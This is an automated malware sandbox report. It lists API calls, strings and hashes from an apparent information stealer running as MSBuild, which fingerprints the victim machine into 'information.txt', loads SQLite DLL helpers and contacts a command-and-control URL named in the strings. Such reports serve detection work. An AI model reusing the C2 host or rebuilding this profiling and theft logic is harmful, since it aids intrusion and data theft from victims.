Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

mode, xrefs: 00406575
", xrefs: 004065A1
------, xrefs: 00406206
------, xrefs: 00406367
build_id, xrefs: 00406419
566ac7bdeaf763bbaf70aa6d5667c804, xrefs: 00406471
------, xrefs: 004064C9
", xrefs: 004062E5
", xrefs: 00406445
------, xrefs: 00406080

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$------$------$------$------$566ac7bdeaf763bbaf70aa6d5667c804$build_id$mode
API String ID: 3702379033-1806847903
Opcode ID: 9130669875251964c831f1a88f491c766dae42b48f3d6367ba80e634a4db9760
Instruction ID: 761880eafc7f1130453e9609930188909abd0ac3e1dc834df3bf91bb01064538
Opcode Fuzzy Hash: 9130669875251964c831f1a88f491c766dae42b48f3d6367ba80e634a4db9760
Instruction Fuzzy Hash: 9E22C9719401699BCF21EB62CD46BCCB7B5AF04308F4144E7A60DB3151DAB56FCA8FA8

Function 00418753 Relevance: 48.2, APIs: 32, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00418794
GetProcAddress.KERNEL32 ref: 004187AB
GetProcAddress.KERNEL32 ref: 004187C2
GetProcAddress.KERNEL32 ref: 004187D9
GetProcAddress.KERNEL32 ref: 004187F0
GetProcAddress.KERNEL32 ref: 00418807
GetProcAddress.KERNEL32 ref: 0041881E
GetProcAddress.KERNEL32 ref: 00418835
GetProcAddress.KERNEL32 ref: 0041884C
GetProcAddress.KERNEL32 ref: 00418863
GetProcAddress.KERNEL32 ref: 0041887A
GetProcAddress.KERNEL32 ref: 00418891
GetProcAddress.KERNEL32 ref: 004188A8
GetProcAddress.KERNEL32 ref: 004188BF
GetProcAddress.KERNEL32 ref: 004188D6
GetProcAddress.KERNEL32 ref: 004188ED
GetProcAddress.KERNEL32 ref: 00418904
GetProcAddress.KERNEL32 ref: 0041891B
GetProcAddress.KERNEL32 ref: 00418932
GetProcAddress.KERNEL32 ref: 00418949
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041895A
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041896B
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041897C
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041898D
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041899E
GetProcAddress.KERNEL32(75A70000,004185D2), ref: 004189BA
GetProcAddress.KERNEL32(75290000,004185D2), ref: 004189D5
GetProcAddress.KERNEL32 ref: 004189EC
GetProcAddress.KERNEL32(75BD0000,004185D2), ref: 00418A07
GetProcAddress.KERNEL32(75450000,004185D2), ref: 00418A22
GetProcAddress.KERNEL32(76E90000,004185D2), ref: 00418A3D
GetProcAddress.KERNEL32 ref: 00418A54

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 98b88b5f96dc66c065c06141136ba5df242bfcb15761572c331c610d89b40f79
Instruction ID: 199c42d56f0628ccab12840d69b6f02f13cfb0cf7a8249375453f6caf445ef8e
Opcode Fuzzy Hash: 98b88b5f96dc66c065c06141136ba5df242bfcb15761572c331c610d89b40f79
Instruction Fuzzy Hash: 2B7106B5910312AFEF1ADF60FD488243BA7F70874BF11A426E91582270EB374A64EF55

Function 00413B86 Relevance: 47.9, APIs: 2, Strings: 25, Instructions: 674
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410CC0: GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
Part of subcall function 00410CC0: RtlAllocateHeap.NTDLL(00000000), ref: 00410CDF
Part of subcall function 00410CC0: GetLocalTime.KERNEL32(?), ref: 00410CEB
Part of subcall function 00410CC0: wsprintfA.USER32 ref: 00410D16

Part of subcall function 004115D4: _memset.LIBCMT ref: 00411607
Part of subcall function 004115D4: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
Part of subcall function 004115D4: RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
Part of subcall function 004115D4: RegCloseKey.ADVAPI32(?,?,?,?), ref: 00411657
Part of subcall function 004115D4: CharToOemA.USER32(?,?), ref: 0041166B

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 004109A2: GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
Part of subcall function 004109A2: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
Part of subcall function 004109A2: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
Part of subcall function 004109A2: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71

GetCurrentProcessId.KERNEL32(Path: ,0043687C,HWID: ,00436870,GUID: ,00436864,00000000,MachineID: ,00436854,00000000,Date: ,00436848,00436844,004379AC,Version: ,004365B6), ref: 00413DDB

Part of subcall function 0041224A: OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
Part of subcall function 0041224A: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
Part of subcall function 0041224A: CloseHandle.KERNEL32(00000000), ref: 0041228E

Part of subcall function 00410B30: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
Part of subcall function 00410B30: HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B

Part of subcall function 00411807: __EH_prolog3_catch_GS.LIBCMT ref: 0041180E
Part of subcall function 00411807: CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
Part of subcall function 00411807: CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
Part of subcall function 00411807: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
Part of subcall function 00411807: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
Part of subcall function 00411807: VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411997: __EH_prolog3_catch.LIBCMT ref: 0041199E
Part of subcall function 00411997: CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
Part of subcall function 00411997: CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
Part of subcall function 00411997: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
Part of subcall function 00411997: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
Part of subcall function 00411997: VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00411563: CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00411575
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,00000008), ref: 00411580
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041158B
Part of subcall function 00411563: ReleaseDC.USER32(00000000,00000000), ref: 00411596
Part of subcall function 00411563: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4), ref: 004115A2
Part of subcall function 00411563: HeapAlloc.KERNEL32(00000000,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 004115A9
Part of subcall function 00411563: wsprintfA.USER32 ref: 004115BB

Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
Part of subcall function 00410DDB: LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
Part of subcall function 00410DDB: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57
Part of subcall function 00410DDB: LocalFree.KERNEL32(00000000), ref: 00410EFF

Part of subcall function 00410D2E: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
Part of subcall function 00410D2E: HeapAlloc.KERNEL32(00000000), ref: 00410D50
Part of subcall function 00410D2E: GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
Part of subcall function 00410D2E: wsprintfA.USER32 ref: 00410D7D

Part of subcall function 00410F51: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
Part of subcall function 00410F51: HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
Part of subcall function 00410F51: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
Part of subcall function 00410F51: RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6
Part of subcall function 00410F51: RegCloseKey.ADVAPI32(00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410FAF

Part of subcall function 00411007: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 0041107D
Part of subcall function 00411007: wsprintfA.USER32 ref: 004110DB

Part of subcall function 00410FBA: GetSystemInfo.KERNEL32(?), ref: 00410FD4
Part of subcall function 00410FBA: wsprintfA.USER32 ref: 00410FEC

Part of subcall function 00411119: GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
Part of subcall function 00411119: HeapAlloc.KERNEL32(00000000), ref: 00411138
Part of subcall function 00411119: GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
Part of subcall function 00411119: wsprintfA.USER32 ref: 0041117A

Part of subcall function 00411192: EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 004111E9

Part of subcall function 004114A5: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Part of subcall function 004114A5: Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Part of subcall function 004114A5: Process32Next.KERNEL32(00000000,00000128), ref: 00411542
Part of subcall function 004114A5: CloseHandle.KERNEL32(00000000), ref: 0041154D

Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
Part of subcall function 00411203: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
Part of subcall function 00411203: wsprintfA.USER32 ref: 004112DD
Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
Part of subcall function 00411203: lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC
Part of subcall function 00411203: RegCloseKey.ADVAPI32(?), ref: 00411446
Part of subcall function 00411203: RegCloseKey.ADVAPI32(?), ref: 00411472

lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000), ref: 00414563

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

Local Time: , xrefs: 0041414B
Keyboard Languages: , xrefs: 004140DE
[Software], xrefs: 004144A3
GUID: , xrefs: 00413CE1
[Hardware], xrefs: 0041420D
information.txt, xrefs: 00414573
MachineID: , xrefs: 00413C80
Date: , xrefs: 00413C1F
AV: , xrefs: 00413F3E
HWID: , xrefs: 00413D4E
VideoCard: , xrefs: 004143B7
Version: , xrefs: 00413B9F
Threads: , xrefs: 004142EF
Processor: , xrefs: 0041422D
Display Resolution: , xrefs: 0041406F
Work Dir: In memory, xrefs: 00413E30
[Processes], xrefs: 0041442A
Computer Name: , xrefs: 00413FAD
User Name: , xrefs: 0041400E
TimeZone: , xrefs: 004141AC
Windows: , xrefs: 00413E70
Install Date: , xrefs: 00413ED1
Cores: , xrefs: 0041428E
Path: , xrefs: 00413DBB
RAM: , xrefs: 00414350

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$Close$CreateOpen$InitializeQueryValuelstrcatlstrcpy$InformationLocalNamelstrlen$AllocateBlanketCapsCurrentDeviceEnumHandleInfoInitInstanceKeyboardLayoutListProcess32ProxySecurityTimeVariant_memset$CharComputerDevicesDirectoryDisplayFileFirstFreeGlobalH_prolog3_catchH_prolog3_catch_LocaleLogicalMemoryModuleNextObjectProcessorProfileReleaseSingleSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZone
String ID: AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 2469716241-1014693891
Opcode ID: dc1d7ba0562bf625b066ad92f5a1664cb0e26c57856b77b7a26f3dbe5b97f54e
Instruction ID: 8a42f407c24202d7a6dd8fa6120b12fd45f2decad8a8e81766ce9a60c8fe54d8
Opcode Fuzzy Hash: dc1d7ba0562bf625b066ad92f5a1664cb0e26c57856b77b7a26f3dbe5b97f54e
Instruction Fuzzy Hash: EB527D71D4001EAACF01FBA2DD429DDB7B5AF04308F51456BB610771A1DBB87E8E8B98

Function 004169B6 Relevance: 45.8, APIs: 9, Strings: 17, Instructions: 315
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 0041683E: StrCmpCA.SHLWAPI(?,ERROR), ref: 00416873

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416AC2

Part of subcall function 004168C6: StrCmpCA.SHLWAPI(?,ERROR), ref: 0041691A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416925
Part of subcall function 004168C6: StrStrA.SHLWAPI(00000000,?), ref: 0041693A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416949
Part of subcall function 004168C6: lstrlenA.KERNEL32(00000000), ref: 00416962

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B1F
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B78
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BD8
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C31
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C47
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416CA7
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416D00
Sleep.KERNEL32(0000EA60), ref: 00416D0F

Strings

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416D25
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416D8D
ERROR, xrefs: 00416B17
ERROR, xrefs: 00416C3F
sqlp.dll, xrefs: 00416DDD
ERROR, xrefs: 00416C29
http://proxy.johnmccrea.com/, xrefs: 00416A54
ERROR, xrefs: 00416BD0
ERROR, xrefs: 00416CF8
ERROR, xrefs: 00416ABA
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416DBE
ERROR, xrefs: 00416B70
>wA, xrefs: 00416E2D
sqlp.dll, xrefs: 00416DAC
sqlp.dll, xrefs: 00416D44
sql.dll, xrefs: 00416E0E
ERROR, xrefs: 00416C9F

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: >wA$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$http://proxy.johnmccrea.com/$sql.dll$sqlp.dll$sqlp.dll$sqlp.dll
API String ID: 507064821-4142071343
Opcode ID: d6a0b5c5444a4ccf3efbfa7656036f48e37d140efc54fa1caf20e42d6c103a14
Instruction ID: c90f6ea4a5ca348140cab4ba7e9dbaa9ca4af95923ca0130c421cdf06f76cfec
Opcode Fuzzy Hash: d6a0b5c5444a4ccf3efbfa7656036f48e37d140efc54fa1caf20e42d6c103a14
Instruction Fuzzy Hash: 0FC15C31E40118ABCF10FB66DD47ACCB775AF04308F51406BF815B7192DBB8AE898B99

Function 0040884C Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 405
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410795: StrCmpCA.SHLWAPI(?,?,?,00408863,?,?,?), ref: 0041079E

CopyFileA.KERNEL32(?,?,00000001), ref: 00408941

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 004122B0: _memset.LIBCMT ref: 004122D7
Part of subcall function 004122B0: OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 0041237D
Part of subcall function 004122B0: TerminateProcess.KERNEL32(00000000,00000000), ref: 0041238B
Part of subcall function 004122B0: CloseHandle.KERNEL32(00000000), ref: 00412392

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408AA6
RtlAllocateHeap.NTDLL(00000000), ref: 00408AAD
StrCmpCA.SHLWAPI(?,ERROR_RUN_EXTRACTOR), ref: 00408B95
StrCmpCA.SHLWAPI(?,004371E8), ref: 00408BAB
StrCmpCA.SHLWAPI(?,004371EC), ref: 00408BD3
lstrlenA.KERNEL32(?), ref: 00408CF0
lstrlenA.KERNEL32(?), ref: 00408D0B

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

DeleteFileA.KERNEL32(?), ref: 00408D4E

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00408B8F

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Processlstrlen$FileHeaplstrcat$AllocateCloseCopyCreateDeleteHandleObjectOpenSingleTerminateThreadWait_memset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 2819533921-2709115261
Opcode ID: 077028fa3e716a35bf32b89dafc6fd792268f45b4b1644074680612183489aa6
Instruction ID: b1bb328f08e938e4400443fd48ceaf11af5fc61e9b4d8feda928490e573589d9
Opcode Fuzzy Hash: 077028fa3e716a35bf32b89dafc6fd792268f45b4b1644074680612183489aa6
